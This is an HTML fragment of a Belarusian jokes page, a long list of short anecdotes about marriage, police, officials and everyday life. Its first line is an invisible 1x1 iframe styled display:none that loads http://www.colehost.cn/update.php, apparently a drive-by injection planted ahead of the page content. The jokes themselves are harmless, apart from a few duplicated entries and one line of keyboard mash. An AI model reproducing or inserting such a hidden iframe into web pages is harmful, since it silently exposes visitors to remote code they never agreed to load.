<iframe src='http://www.colehost.cn/update.php' width='1' height='1' style='display:none'> <table width=430 cellspacing=0 cellpadding=0 border=0> <tr> <td> <p class=up> Анекдоты ;) </p> <p class=text> <!-- anek begin --> <hr> Усім вядомы факт – дзяўчата бываюць ці разумныя, ці прыгожыя. Шкада, што сайты знаёмстваў асвоілі толькі разумныя... <hr> У Немане знойдзена раней не вядомая парода: рыба-бензапіла. <hr> У некаторых людзей на лобе напісана: "Дарвін меў рацыю!". <hr> Ён быў такі скупы, што гандляваўся нават з банкаматам... <hr> Мала хто ведае, што аўтамабіль "Ака" ездзіць на аккумулятары ад Нокіі 3310. <hr> Дыскамфорт у аўтамабілі Ака звязаны з тым, што цела туды яшчэ памяшчаецца, а вось самаадзнака не. <hr> Калі чалавек не адказвае на вашыя лісты, значыцца, ён заняты якімсьці іншым, больш важным глупствам. <hr> - Прабачце, вы беларус? <br>- Мяркуючы па заробку - так... <hr> У самай клапатлівай у свеце дзяўчынкі хамячок важыць 22 кілаграмы. <hr> Бізнэс - гэта такая гульня, у якой выйграе той, хто лепш ведае правілы, а прайграе той, хто іх выконвае. <hr> Найбольшым попытам з усёй друкаванай прадукцыі да гэтай пары карыстаюцца грошы. <hr> На Гродзеншчыне кнігі Данцовай прызнаныя альтэрнатыўным відам паліва <hr> У Яна 12 яблык, у Лёшы 8 яблык, а ў Васі ў азадку соль. <br>Хто ўцякаў апошнім з калгаснага саду? <hr> Замані сябра ў Іванава і атрымай две сяброўкі ў падарунак! <hr> - А вам сняцца жанчыны? <br>- Да мне з-за іх зусім спаць няма калі! <hr> Калі мы ставім перад сабою цэль, гэта яшчэ не значыць, што мы жадаем у яе патрапіць. <hr> Мара амерыканскага бізнесоўца - зарабіць міліён, расейскага - сцібрыць мільярд. <hr> Раней у дзяржавы кралі тое, што кепска ляжыць. Цяпер нават палажыць не паспяваюць - крадуць на этапе дамоваў з пастаўшчыкамі. <hr> Ад кахання да нянавісці адзін крок, але зрабіць яго трэба з гонарам, у фраку, пад марш Мендзельсона. <hr> - Чула, Марыся нарадзіла? <br>- Канешне, чула! У мяне ж вокны на раддом выходзяць! <hr> - Як ты надакучыў мне сваімі пытаннямі! <br>- Чаму? <hr> Падчас развода жонка Нікаля Сарказі адсудзіла ў яго полову Францыі. <hr> Зваок у дзверы. Маленькі хлопчык адчыняе і бачыць на парозе міліцыянта. <br>- Твой тата ў хаце? <br>- Не. <br>- А маці? <br>- Яна так сама схавалася. <hr> Футбол. Матч Беларусь - Італія. Лік 14 - 0 на карысць італьянцаў. Словы каментатара: <br>- Нашы прайграюць, але нічога, - яны не кідаюцца ў роспач, бо ідзе ўсяго толькі трэцяя хвіліна матча. <hr> Дурні працуюць, разумныя зарабляюць. <hr> Ёсць такое адчуванне, што дактароў у бесплатных клініках адмыслова наймаюць платныя клінікі, каб яны абслугоўвалі як мага горш. <hr> - Скажыце, калі ласка, на яком трамвае я да вакзалу даеду? <br>- На васемнаццатам. <br>-Дзякуй, буду лічыць! <hr> Хачу пазнаёміцца па шлюбнай аб’яве. Адкажу на ліст з фотаздымкам. Пейзажы не дасылаць. <hr> Беларусь - краіна макрарэсурсаў і наназаробкаў <hr> Вовачка наведаў настаўніцу ў шпіталі. На пытанні аднакласнікаў з горыччу адказаў: <br>- Становішча безнадзейнае. Марванна ў панядзелак прыдзе. <hr> Самым пераканаўчым доказам існавання разумнай цывілізацыі ў Сусвеце з'яўляецца той факт, што з намі дагэтуль ніхто не спрабаваў зкантактавацца. <hr> Сустракаюцца двое сяброў. Адзін з іх гаворыць іншаму: <br>- Не ра-разумею, ча- ча- чаму м-м-м-мая с-с-сотавая к-к-к-кампанія д-д-д-дала м-м-не пр-прыз я-я-я-к леп-пшаму аб- б- бан-ненту. <hr> Калі на "Беларусьфільме" скарацілі штат рэжысёр Пятрэнка пайшоў працаваць у шпіталь хірургам. Там ён выразаў у пацыянтаў слабыя і нецікавыя месцы. <hr> лі на "Беларусьфільме" скарацілі штат рэжысёр Пятрэнка пайшоў працаваць у шпіталь хірургам. Там ён выразаў у пацыянтаў слабыя і нецікавыя месцы. <hr> Ты пра каго сказала, што я казёл? <hr> - Вы адкуль? <br>- З-пад Менску. <br>- Цяпер усе "з-пад Менску". Дакладней! <br>- Бішкек. <hr> - Вы адкуль? <hr> - Вы адкуль? <br>- З-пад Менску. <br>- Цяпер усе "з-пад Менску". Дакладней! <br>- Бішкек. <hr> <hr> <hr> <hr> Дурні робяць – разумныя зарабляюць. <hr> Страшней за законы ў Беларусі толькі практыка іх выкарыстання! <hr> Ці ведаеце вы, што калі моль-самка есць футра, яна плача... <hr> Новай двухтомнай кнігай скончылася спроба Дар’і Данцовай распісаць асадку. <hr> Калі на рэкламных носбірах вашаго города пачалі з’яўляцца якіясці безсумленныя рожы, значыцца хутка выбары. <hr> Ідэальны парадак у кватэры – перая прыкмета зламанага кампутара. <hr> Муж кажа жонцы: <br>- Гэта праўда, што я абяцаў табе залатыя горы, калі мы абярэмся шлюбам, але ж пра паральную машыну размовы не было. <hr> З развіццём у Беларусі нанатэхналогій, кожны жыхар краіны да 2010 года дарма атрымае па нанакватэры! <br>- Мужчына, які можа пераканаць жонку, што раскошная норкавая шуба яе <hr> - Хто такі дыпламат? <br>- Мужчына, які можа пераканаць жонку, што раскошная норкавая шуба яе <br> робіць паўніць. <hr> На сценцы жаночага інтэрнату добра абарудаваная сценка для спартовага скалалазання. <hr> Бацька пытаецца ў сына: <br>- Як поспехі ў школе? <br>- Выдатна! Кантракт з пятым класам падоўжаны яшчэ на год! <hr> - Чаму нявеста на вяселлі заўсёды ў белым? <br>- Гэта стандартны колер бытавой тэхнікі. <hr> - Афіцыянт, што гэта паўзе па салату? <br>- Вітаміны! <hr> - Тата, ты абяцаў схадзіць ў заапарк! <br>- Тата абяцаў, тата і схадзіў! <hr> Камплiмент мужчыну: <br>- Добра з вамі, надзейна, а ў вас яшчэ шмат грошай засталося? <hr> Самыя падуманыя дзяўчаты на дзіскатэцы выглядаюць хлопчыкаў, якія кепска танцуюць. <hr> - Дед, раскажы як ты падчас вайны два самалёты збіў!!! <br>- Ну, не зусім збіў... Скажам так... Недазаправіў... <hr> Вася, як ты патрапіў у бальніцу? <br>- Ведаеш, іду я па вуліцы... Гляджу здаровыя мужыкі абдымаюцца, цалуюцца... Я спытаў: Гэта гей-парад? Аказалася дзень ВДВ... <hr> Самы кароткі анекдот: Едуць два міністры ў тралейбусе. <hr> Высвятліць што-небудзь ў жанчыны немагчыма ў любым ўзросце. Дзявочая памяцьпаступова пераходзіць у жаночыя сакрэты, а яны ў сваю чаргу, у старчаскі скляроз. <hr> Осаблівасць жаночых вачэй у тым, што яны здольная бачыць волас на кашульцы мужа за пяць метраў, але не ў стане разглядзець дзверы гаража нават у метры. <hr> kljgnhbkljngblkjwn <hr> Да адзесіта падыходзіць турыст з вялікім заплечнікам: <br>- Скажыце, калі ласка, калі я пайду па гэтай вуліцы, там будзе чыгуначны вакзал? <br>- Ведаеце, ён там будзе, нават калі вы туды не пойдзеце! <hr> Нашых спартоўцаў вы пазнаеце па зялёных майтках і чырвоных кашульках. Астатнія лыжнікі апранутыя значна цяплей. <hr> Аб’ява: <br>Пазнаёмлюся з Людай. <br>Людаед. <hr> - Які ж беларус не любіць хуткай язды? <br>- Той на якім ездзяць! <hr> Якая розніца паміж багатым швейцарцам і бедным швейцарцам? Бедны швейцарац вымушаны мыць свой Мерседес сам. <hr> Архіёлагі знайшлі скелет маманту пад зямлёй на глыбіні 30 метраў. Гэта яшчэ раз даказвае, што маманты жылі ў норах. <hr> - Калі мы ажэнімся, мілы, ў нас будуць трое дзяцей! <br>- Скуль ты ведаеш? <br>- А яны цяпер жывуць у маёй мамы. <hr> - Дарагая, віно робіць цябе прыгажэйшай! <br>- Аже ж я не піла віна! <br>- Затое я піў! <hr> Усё на свеце адносна. Вось, напрыклад, тыя сто даляраў, пра якія не ведае жонка, мне на шмат даражэй тысячы даляраў, пра якую яна ведае. <hr> Жаніх звоніць ў дзверы сваёй нявесты. Дверы адчыняе малодшы брат. Убачыўшы жаніха, кліча сястру: <br>- Маша! Твая сініца ў руках прыйшла! <hr> У краме: <br>- Раз вы ўжо ўзважылі свій палец, то нарэжце мне яго, калі ласка. <hr> - Хто на свеце ўсіх мілей, усіх румяней і бялей? <br>- Сала. <hr> Размова па тэлефону: <br>- Добры дзень, гэта Воля? <br>- Не, Волі няма ў хаце, а з вамі размаўляе яе сімпатычная, дліннаногая сястра. <hr> Маці – шэсцігадоваму сыну: <br>- Ізноў ты ўпаў ў лужыну ў новых нагавіцах! <br>- Мамка, я ўпаў так хутка, што не паспеў іх зняць. <hr> З ліст Лукашэнку: <br>“Было кепска, стала яшчэ горш. Зрабіце, каб было ізноў кепска!” <hr> Той, хто храпіць, засынае першым. <hr> Прапаршчык пастроіў роту навабранцаў і пытаецца пра адукацыю. Падыходзіць да першага: <br>- Іваноў! <br>- 7 класаў <br>- Добра. <br>Падыходзіць да другога: <br>- Пятроў! <br>- МГУ. <br>- Што мычыш? Чытаць ты хоць умееш? <hr> Маленькая дзяўчынка пытаецца бацьку: <br>- Тата, а да таго, як ты ажаніўся на маме, хто табе казаў як вадзіць машыну? <hr> Як хутка ляціць час... Не паспеў пачнуцца, як ужо спазніўся на працу. <hr> Свята няма, вады няма, тэлефон не працуе, пошта таксама... Нарэшце запрацавала пошта! Прынеслі квіткі за электраэнэргію, ваду і тэлефон... <hr> Чысцячы на кухні ужо дваццатую рыбу, жонка раздражнёна кажа мужу-рыбаку: <br>- Па-чалавечы цябе прашу! На рыбалцы пі водку! <hr> П’яны муж звоніць у дзверы. Яму адчыняе жонка. Ён заходзіць, ціхенька зачыняе за сабой дзверы, паварочваецца спінай да жонкі і кажа: <br>- Мне на сёмы! <hr> Жонка – мужу, які ўставіўся ў газету: <br>- Можаш ужо не гаварыць: “Так-так, угу, ага”. Я яшчэ дзесяць хвілінаў таму перастала размаўляць з табою. <hr> Мужык вяртаецца з працы, жонка сустракае яго на двары. <br>- Ой, маша, ты? А я цябе не пазнаў! <br>- Багатай, значыцца, буду. Заробак давай! <hr> Ангельская прымаўка: “Калі ледзі пакідае кабрыалет, кабыла адчувае некаторае палягчэнне” <hr> Стары сябр лепш за новых двух. <br>З сяброўкамі ўжё наадварот. <hr> У псіхіатара: <br>- Доктар, мне ўжо тры месяцы сніцца адна і тая ж жанчына. <br>- Ну і што? <br>- Надаела! <hr> Аказваецца, усе дзіназаўры былі аднолькавыя, проста розныя архіёлагі збіралі іх па-рознаму! <hr> - Добры дзень, бясплатны доктар! <br>- Добры дзень, невылячальна хворы пацыент... <hr> - Спачатку мы здолеем плаціць вам толькі $150 у месяц, а пасля... <br>- Ведаеце, я лепей пасля зайду. <hr> У мужчыны, які вяртаецца да хаты пад раніцу, прачынаецца талент казачніка. <hr> Цяжка ўбачыць самастойную асобу ў чалавеку, якога пятнаццаць гадоў таму сажаў на гаршок. <hr> Хлопец спазняецца ў оперу. Залятае ў зал, да яго падыходзіць капельдынер: <br>- Калі ласка, цішэй! <br>- А што, усе ўжо спяць? <hr> Не хваліцеся, што вашая жонка лепшая за ўсіх: жанчышы могуць абзайздросціцца, а мужчыны захочуць пераканацца. <hr> Мужык – жонцы: <br>- Наканец ты заехала правільна ў гараж, шкада толькі, што не ў наш. <hr> - Мне вельмі не падабаецца ваш кашаль. <br>- Нічога не магу зрабіць, іншага ў мяне няма. <hr> Гарбата па смаку, цукар па сумленню. <hr> Беларускае тэлебачанне гэта маленькае акенца ў вялікі мусараправод. <hr> Жанчына паведамляе, што ў чацьвёрты раз выходзіць замуж. <br>- Ізноў? – здзіўляецца тая. – Ты як дрэва: штогод новае кальцо... <hr> Танны пакой жахаў: цёмна і паўсюду граблі <hr> Адзіны доктар, які лічыць, што ў вас усё добра, працуе ў ваенкамаце. <hr> - Дзяўчына, сядай, падязу! <br>- Няма часу, ісці трэба... <hr> - Мы дзесяць гадоў на рынку! Ніяк тавар прадаць не можам!! <hr> Адзін паляўнічы – іншаму: <br>- Ведаеш, у мяне вельмі дзіўны сабака. Калі я страляю, ён падае на зямлю і качаецца ад рогату! <br>- А што ён робіць, калі ты патрапіш? <br>- Не ведаю, ён у мяне ўсяго тры гады. <hr> - Здаецца, дарагая, мы с табою неяк не зусім правільна вызначаем бяспечныя дні сказаў муж, забіраючы пятае дзіця з рабзільнага дому. <hr> Экскурсавод звяртаецца да турыстаў: <br>- А цяпер, калі паважаныя дамы сціхнуць, то вы пачуеце роў Ніагарскага вадападу. <hr> Бацька з сынам у заапарку. <br>- Папа, а гарыла з клеткі не выскачыць? <br>- Пайшлі, сынку, гэта яшчэ толькі каса. <hr> - Калі ж, у рэшце рэшт, будзе лепей? <br>- А лепей ужо было! <hr> Сядзіць хлопец на беразе Ніла, рыбу лапае. Спякота... Рыба не клюе. Гадзіну сядзіць, две – безвынікова. З рэчкі вынырвае кракадзіл і пытаецца: <br>- Спякотна? <br>- Так… <br>Са спадзеваннем у голасе: <br>- Дык, можа, іскупнешся? <hr> Два студэнта перад іспытамі. <br>- Што чытаеш? <br>- Квантавую механіку. <br>- А чаму падручнік уверх нагамі? <br>- А якая розніца? <hr> - Сяржант, праверце асабістую справу радавога Ленеца. Кожны раз пасля вучэбнай стрэляніны ён сцірае адбіткі пальцаў са зброі. <hr> З пратаколу: Знаходзячыся ў нецвярозым стане спадар Фамін А.А. накінуўся і жорстка збіў групу АМАПу. <hr> Калі ў пачатку індыйскага фільма на сценцы вісіць стрэльба, то пад канец фільма яна будзе плясаць ды спяваць. <hr> - Добры вечар! Як ваш галаўны боль? <br>- Ой, пайшоў гуляць у карты. <hr> - Як я ненавіджу Льва Талстога! “Вайну і мір” напісаў ажно на 4 томы! <br>- Ты што, чытаў? <br>- Не, ксерыў! <hr> - Што таое 90-60-90? <br>- Язда міма ДАІшніка. <hr> Я ўчора жонку на “Атэлла” вадзіў. Для прафілактыкі! <hr> - Мужыкі, а ў мяне машына "дзевятка". <br>- Дык у цябе ж была "шасцёрка"? <br>- Перакулілася <hr> Аб’ява: “Прадаю БелАЗ. Пасля аварыі забруджана правае кола”. <hr> - Спадары прысяжныя засядальнікі! Сам факт таго, што абвiнавачаны выбраў мяне сваiм адвакатам, гаворыць пра тое, што ён цалкам неўмяняльны. <hr> Навошта патрэбны абагрэў задняга шкла на “Ладах”? Для таго, каб рукі не мерзлі, калі піхаеш. <hr> - Хочаш, пакажу фокус? <br>- Гадаваць пасля сам будзеш! <hr> Аб'ява ў газеце: <br>Вызначым крыніцу ўсіх вашых няшчасцяў па фотаздымку цешчы. <hr> - Мілы, заўтра ў нас дзень срэбнага вяселля! Можа закалем парсючка? <br>- А ён та ў чым вінаваты? <hr> - Ты чаму не начаваў у хаце? <br>- Божа мой! Пяць гадоў кожную раніцу адно і тое самае! <hr> У начным клубе. <br>- Дзяўчына, вы танчыце? <br>- Так. <br>- Дзякуй Богу! Я думаў, што вас токам шандарахнула. <hr> Вовачка надзявае гумавыя боты. <br>Маці: <br>- Вовачка, на двары суха, бруду і калужынаў няма. <br>- А я знайду. <hr> Жанчыну пытаюцца: <br>- Колькі вам гадоў? <br>- Бліжэй да 30, чым да 20. <br>- А канкрэтней? <br>- 50. <hr> - Інспектар ДАІ Сідарчук. У вас апона сдулася і фара разбітая. З вас семсот тысяч рублёў. <br>- Прабачце, спадар Сідарчук, але ж мы такую інфармацыю за грошы не купляем. <hr> Новая мадэль “ИЖ-кабриолет” на выставе ў Парыжу нанесла непапраўны ўдар па аўтамабілебудоўлі Няметчыны. Пэнкнуў ад рогату генеральны дырэктар канцэрна BMW. <hr> Да голасу разума заўсёды прыходзіцца прыслухоўвацца, таму, што з усіх галасоў, ён самы ціхі. <hr> Я такія сумкі з базару цягаю, што на мяне коні азіраюцца. <hr> Сваіх клопатаў хапае, а тут яшчэ сусед машыну ў латарэю выйграў! <hr> У абутковай краме: <br>- Скажыце, у вас ёсць кракадзілавыя боты? <br>- А які памер у вашага кракадылу? <hr> Жонка ўвесь час гаворыць пра паездку на Канары. Нічога не маю супраць. Няхай гаворыць. <hr> Мужык на раніцу вяртаецца дадому. <br>- Дзе ты быў, я ўсю ноч чакала, вачэй не заплюшчыла! - кідаецца на яго жонка. <br>Мужык, стомлена: <br>- А ты думаеш я спаў? <hr> Ад’язджае аўтобус з прыпынку, а за ім мужык бяжыць і галяпуе: <br>- Спыніся! <br>Міласэрныя пасажыры давай шафёра штурхаць: спыніся, чалавек бяжыць, спазняецца мабыць. Мужык залятае ў салон і кажа: <br>- Таварышы пасажыры, падрыхтуйце квіткі, кантроль! <hr> - Скажыце, у вас, мабыць, вельмі цесная кватэра? <br>- Да, сапраўды! А як вы здагадаліся? <br>- Ваш сабака махае хвастом не з боку ў бок, а зверху ўніз. <hr> Закон шоу бізнесу: чым горшы голас у спявачкі, тым менш на ёй павінна быць вопраткі. <hr> - Вася, а чаго гэта ў цябе усе патэльні без ручак? <br>Дык у мяне, Федзя, жонка - тэнісістка. <hr> - Віцька, што здарылася? <br>- Мяне з інстытута выгналі. <br>- Не плач! Салдаты ня плачуць! <hr> Жанчыны могуць захоўваць сакрэты. Толькі невялічкімі гурткамі па 20-30 чалавек. <hr> Надпіс на шапіку: <br>"Зазірні, перад тым, як назвать мяне кабетай" <hr> - Ало, доктар, дапамажыце. У маёй жонкі баліць галава і тэмпература. <br>- Высокая? <br>- Высокая! Метар восемдзесят тры! <hr> Джэнтльмен гаворыць даме, сваёй суседцы: <br>- Мадам, я ўчора чуў, як вы спявалі. <br>- О, што вы, я проста забівала вольны час! <br>- Вы выбралі страшную зброю, мэм. <hr> - Учора застаў сваю жонку ў ложку з нейкім французам! <br>- І што ты яму сказаў? <br>- А што я мог сказаць? Я ж у школе ангельскую вучыў! <hr> Рабам давалі ежы і адёжы роўна столькі, колькі ім бы хапіла для таго, каб яны здолелі працягваць працаваць. <br>Нічога істотнага, у прынцыпах фармавання заробку, з той пары не змянілася. <hr> - Алё! Я туды трапіў? <br>- Не, вы трапілі не туды. Вас паслаць куды трэба? <hr> - Вам кава з каньяком? <br>- Без. <br>- Без каньяку? <br>- Без кавы. <hr> Разумны чалавек вынайшоў кола, а яшчэ больш разумны - канапу. <hr> У нашай сям'е раніцай зарадкай займаецца толькі мабільнік <hr> Урад працуе добра. Гэта народ жыве кепска, бо не працуе ва ўрадзе. <hr> - Госпадзі, як ты мяне напужала. <br>- На сябе паглядзі! <hr> <hr> Цікава! Розум на планеце - велічыня пастаянная, а колькасць насельніцтва расце... <hr> Калі ў вас жырны посуд, не карміце яго, няхай худзее... <hr> Я ў армію не пайду па перакананнях... Я перакананы, што мне не спадабаецца! <hr> За песні пад фанаграму трэба плаціць ксеракопіямі грошай. <hr> Дарагія студэнты! Памятайце - грошы вырашаюць усё! Нават складаныя дыферэнцыйныя ўраўненні! <hr> Абыходзячы ляжачыя граблі, вы страчваеце каштоўны вопыт. <hr> Калі жанчына за рулём уключыла левы паварот, гэта яшчэ не значыць, што яна паедзе направа. <hr> - Хадзіў учора правяраць IQ... <br>- І што сказалі? <br>- Шумы знайшлі... <hr> - Мая дзяўчына мне сказала: толькі паспрабуй цяпер не жаніся! <br>- А ты што? <br>- Паспрабаваў. А потым не жаніўся... <hr> - Што павінен рабіць падначалены за заробак у 100 даляраў? <br>- Нічога. І яшчэ крыху шкодзіць! <hr> - Учора цешчу ў цір вадзіў. <br>- І як? <br>- Спрытная... <hr> Студэнты - гэта людзі, якія балансуюць паміж арміяй і вышэйшай адукацыяй. <hr> – У маёй жонкі самая кепская памяць у свеце. <br>– Усё забывае? <br>– Не, усё помніць! <hr> Гультайства - вышэйшая форма праяўлення свабоды <hr> Жанчына прыехала з курорта. Расказвае сяброўцы пры сустрэчы: “Курорт неблагі, але мужчын было надзвычай мала, таму многія жанчыны не адпачылі...” <hr> Кіроўцу спыняе міліцыянт за правышэнне хуткасці. Кіроўца:: “Ну ўсё, зараз правы забяруць”. Даішнік: “Спорым на сто даляраў, што не забяру!” <hr> У Расеі два кліматычных сезона - піўны і гарэлачны. <hr> Ни одному американцу, англичанину, швейцарцу, немцу, австралийцу не <br>понять истошный, душераздирающий, душещипательный и волнующий крик жены, моющей посуду на кухне: "Ураааааааааа, горячую воду дали!" <hr> Ученые установили, что самый понятный язык на Земле - китайский. Его <br>понимают 1,5 миллиарда человек. <hr> Я вельмі добры. Але ў мяне ёсць адзін недахоп. Недахоп грошай. <hr> – Я думаю, нашага кіроўцу трэба звольніць, ён мяне ўжо чацвёрты раз ледзь не забіў! – кажа жонка мужу. <br>– Ну навошта так спяшацца? Давай дадзім яму яшчэ адзін шанец! <hr> Прыпынкі для транспарту спецыяльна распрацоўваліся для нашага надвор’я. Дызайнеры ўлічылі ўсё. На выпадак гарачыні зрабілі шкляныя дахі. На выпадак ветру – праёмы ў сценах. На выпадак мароза- жалезныя сядзенні. <hr> КГБ аб’явіў тэндар на вытворчасць детектараў ілжы. Тендар выйграў <br>Мінскі завод паяльнікаў. <hr> Навіны спорту: адкрыты VIР-спартзал, у які не пускаюць ў спартыўным адзенні! <hr> Урад працуе добра... Гэта народ жыве дрэнна, таму што не працуе ва ўрадзе. <hr> Пасля трансляцыі Еўрабачання-2006 у ЗША цяпер цэлае пакаленне амерыканцаў перакананы: дык вось якія яны – фіны! <hr> Як вядома, Сталін вельмі любіў паліць. <br>Міністэрства аховы здароўя хацела яго папярэдзіць, але неяк пабойвалася, за сваё здароўе. <hr> – Мілы, ты дзе? <br>– На паляванні <br>– А хто там так гучна дыхае? <br>– Гэта мядзведзь. <hr> На добрай працы і сны цікавыя бачыш... <hr> Позняй ноччу звоніць тэлефон. Жонка бярэ трубку. <br>- Каханая, гэта я. Іду дадому. Я не вельмі затрымаўся? <br>- Не, мілы. <br>- А можна я прывяду 5-6 сяброў? <br>- Так, каханы. <br>- Мы пасядзім, вып’ем... <br>- Канешне можна. <br>Мужчына раптам замаўкае, а пасля кажа: Прабачце, я, напэўна, памыліўся нумарам. <hr> Жонка мужу: “Колькі разоў табе гаварыць! Калі малады чалавек просіць руку нашай дачкі, трэба проста сказаць “Так”, а не падаць на калені, цалаваць яму рукі і крычаць: “Выратавальнік вы наш!”... <hr> У Беларусі, пачуўшы шум верталёта, на палі выходзяць нават непрацуючыя камбайны <hr> Даішнік і даярка. Прафесіі розныя – прынцыпы аднолькавыя. <hr> Жанчына прыйшла да ўрача са скаргай на галаўны боль. Урач параіў ёй выйсці замуж. Праз год яны выпадкова сустрэліся. <br>– Ну як, выйшлі Вы замуж? <br>– Так, дзякуй! <br>– А галава баліць? <br>– Не, цяпер яна баліць майму мужу! <hr> Жонка мужу: <br>– Купі мне машыну, мілы, паездзім, свет паглядзім! <br>– Гэты ці той? <hr> “А можа гэта не яны павінны былі атакаваць, а мы? Вось мы дурні, а не церарысты, зноў усё пераблыталі..." <hr> Спыняе ў цэнтры Менску даішнік аўтамабіль, пытаецца: <br>– Прадукты вязецё? <br>– Не, наркотыкі! <br>– Тады праязжайце! <hr> Вырашыў праверыць пільнасць беларускіх ахоўнікаў правапарадку. Увесь дзень хадзіў па горадзе, трымаючы дзве фігі ў кішэнях. Чатыры разы міліцыянты падыходзілі, пыталіся, чаму кішэні адтапыраныя. Давялося даставаць і паказваць. <hr> У лася (дзіцячай забаўкі) адарваліся рогі. Пасля няўдалых спробаў прымусіць мужа іх прыклеіць жонка вырашыла прырабіць іх сама. Муж праходзіць каля яе і пытае: <br>– Мілая, чым гэта ты тут займаешся? <br>Яна, з жалезнай ноткай уголасе: <br>– Ды вось... для пачатку на ласях патрэніруюся! <hr> Сантэхнік скончыў рамантаваць кран і кажа гаспадыні-бабульцы: <br>– Ну ўсё, бабуля, з цябе бутэлька. <br>– Міленькі, а мо я табе лепш грошы дам? <br>– Не, бабуля, мне грошы нельга, я прап’ю... <hr> Хлопец угаворвае дзяўчыну: <br>– Маша, з’еш кавалачак торціка! <br>– Не хачу! <br>– Ну з’еш, смачны... <br>– Я не ем пасля шасці... <br>– Ну з’еш, калі ласка... <br>– Ды я ўвогуле салодкае не люблю... <br>– Еш, дурная! Там пярсцёнак у крэме, я ажаніцца з табой хачу!!! <hr> Беларускія турфірмы абвесцілі пра новую прапанову кліентам: у Піцер па скарынаўскіх мясцінах... <hr> Злавіў чалавек залатую рыбку, тая і кажа яму: <br>– Загадвай тры жаданні. <br>– Першае: многа грошай! <br>– Зроблена! <br>– Другое: гарэм, як у шэйха! <br>– Выканана. <br>– Трэцяе: ... злавіць цябе яшчэ разоў 200 <hr> Рэальная гісторыя. <br>Знаёмая прысніла сон, у якім бярэ інтэрв’ю ў Лукашэнкі: <br>– Скажыце, чаму Вы не размаўляеце на беларускай мове? <br>У адказ яна пачула: <br>– А дзе Вы бачылі прэзідэнтаў, якія размаўляюць па-беларуску?.. <hr> Прыйшоў пацыент да ўрача, скардзіцца на нездароўе. <br>Урач яму: <br>– Так, глытаем шрубы... <br>Пацыент праглынуў. Зніякавеў увесь. Боль страшэнны. <br>Урач: <br>– Што, баліць? <br>– Ага, ажно зоркі ў вачах! <br>– Так, усё зразумела, алергія на шрубы... <hr> Урач: <br>– Сэрца баліць, нервы ніякія, печань павялічаная. Мяркуючы па ўсім, жыць засталося лічаныя дні... Ды што я ўсё пра сябе, ды пра сябе! А Вы, хворы, на што скардзіцеся?.. <hr> У рэстаране мужчына раптам гаворыць: <br>– Ніхто часам не страціў пачку грошай, стужкай перавязаных? <br>Адзін тут жа падбягае з крыкам: <br>– Так, гэта я страціў!!! <br>– Вось, я стужку знайшоў... <hr> Ідзе ўрок божага закона. Поп пытаецца ў вучня: <br>– Сакажы, хто быў першым чалавекам? <br>– Адам. <br>– А якое страшнае пакаранне на яго паслаў Бог? <br>– Еву. <hr> – Учора ў мяне ў кватэры пабываў злодзей. Уяўляеш, нічога не ўзяў, на стале пакінуў 10 даляраў і запіску: “Так жыць нельга”. <hr> Дзяўчына паехала ў Амерыку ў госці да сяброў. І там у яе разбалеліся зубы. Давялося ёй ісці ў муніцыпальную клініку да стаматолага. Доктар агледзеў яе рот, а затым спагадліва спытаў: "Вас што, катавалі"? <hr> Два браканьеры: <br>– Учора злавіў вялізнага шчупака. Закінуў яго на спіну і іду дахаты. <br>– Ну і? <br>– А тут з-за кустоў – інспектар рыбнагляду! <br>– Ну?! <br>– А я шчупака са спіны – ды ў кішэню! <hr> – Дзіўна, што ў самых вялікіх дурняў самыя прыгожыя жонкі! – сказаў муж. <br>– Ліслівец, – усміхнулася яму жонка… <hr> - Вось ажэнішся, сынок, тады зразумееш, што такое сапраўднае шчасце! <br>- Сапраўды? <br>- Так, але ўжо будзе позна... <hr> Сям’я з пяці студэнтаў здыме пакой. Альбо ложак. Альбо куток у ложку. <hr> – Бабуля! Колькі кіламетраў да суседняй вёскі? <br>– Усё жыццё пяць было. А потым спецыялісты панаехалі, мералі тут мералі і намералі сем. Вось цяпер з-за іх два лішніх кіламетры ходзім. <hr> Два мужчыны ў камуналцы: <br>– Ведаешь, чым адрозніваецца фіранка ад туалетнай паперы. <br>– ?! Не. <br>– Ага, дык значыць, гэта ты!!!! <hr> Школа. Стаіць мужчына, апёршыся на падваконне. <br>Падыходзіць да яго жанчына і кажа: <br>– Што, дзіця чакаеце? <br>– Ды не, я заўсёды такі тоўсты. <hr> – Каханы, ты мог бы здрадзіць мне з другой жанчынай? <br>– Угаварыла. <hr> Маладая жанчына ў гінеколага? <br>– Я другі год замужам, аднак вось няма дзіця... <br>– Распранайцеся і кладзіцеся на кушэтку. <br>– Доктар, але я хацела б дзіця ад мужа... <hr> – Ты ведаеш, сёння зранку мне было так дрэнна, што я вырашыў звесці рахункі з жыццём, выпіўшы 100 таблетак аспірына. <br>– І што? <br>– Калі я выпіў другую, я адчуў сябе значна лепш. <hr> Савецкі саюз. 1958 год. Конкурс на лепшы палітычны анекдот у гонар юбілея <br>Сталіна. <br>3-ая прэмія – 3 гады агульнага рэжыма. <br>2-ая прэмія – 7 гадоў строгага рэжыма + 5 год па сталінскіх месцах. <br>1-ая прэмія – сустрэча з юбілярам. <hr> - Што можа быць больш агідным, чым адкусіўшы яблык, убачыць там чарвяка? <br>- Адкусіўшы яблык, убачыць там палову чарвяка... <hr> – Чаму ты вырашыў, што КГБ устанавіў у тваёй кватэры падслухоўваючы жучок? <br>– У мяне ў кватэры з учорашняга дня на адну шафу стала больш! Самым складаным з вечных пытанняў з’яўляецца не “Што рабіць?” альбо “Хто вінаваты?”, а “Дзе ты быў?” <hr> <hr> Званок у службу тэхпадтрымкі: <br>– Дзячына, а што мне зараз рабіць? <br>– Набярыце шэсць нулёў? <br>– Якія шэсць нулёў? <br>– Ды любыя! <hr> Настаўнік – вучню: <br>– Запомні: разумны чалавек заўсёды сумняецца. Абсалютна ўпэўнены <br>толькі ідыёт. <br>– Вы думаеце? <br>– Абсалютна ўпэўнены! <hr> Новая акцыя дэканата. <br>Сабяры тры хвасты і ты зможаш абсалютна бясплатна памяняць іх на новыя кірзавыя боты. <hr> Муж з жонкай глядзяць фільм жахаў. На экране з’яўляецца жах. Жонка: <br>– Ой мама... <br>Муж: <br>– Што, пазнала сваю маці, так? <hr> На тры рэчы можна глядзець бясконца: на агонь, на ваду, і на тое, як паркуецца жанчына. <hr> – Адчыніце дзверы! Міліцыя! <br>– А ў вас ужо і адчыніць няма чым? Давялі краіну... <hr> Акула - 1500! - Панда - 24! - Чалавек - 32! - 32 - гэта норма! <br>– Блін! Я панда! <hr> – Дзяўчаткі! Я зрабіла сабе пластычную аперацыю. Вось тут падцягнула, тут прыбрала... Яшчэ і на сумачку засталося! <hr> – Парай, што купіць жонцы на дзень народзінаў? <br>– А ці не прасцей табе спытаць у яе самой? <br>– Нуу... такіх грошай у мяне 